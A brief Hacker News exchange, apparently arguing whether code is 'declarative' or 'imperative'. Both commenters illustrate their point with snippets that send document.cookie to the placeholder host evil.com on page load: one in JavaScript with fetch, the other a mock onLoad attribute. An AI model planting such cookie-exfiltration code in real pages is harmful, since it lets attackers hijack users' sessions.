logoalt Hacker News

inigyoutoday at 8:53 AM1 replyview on HN

Sure it is.

Here's how you can write a declaration that you want to exfiltrate cookies:

    document.addEventListener("load", function(){
        fetch("http://evil.com/"+document.cookie);
    });

Replies

tremontoday at 11:22 AM

That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language:

  <body onLoad="http.GET('http://evil.com/"+document.cookie')">
show 1 reply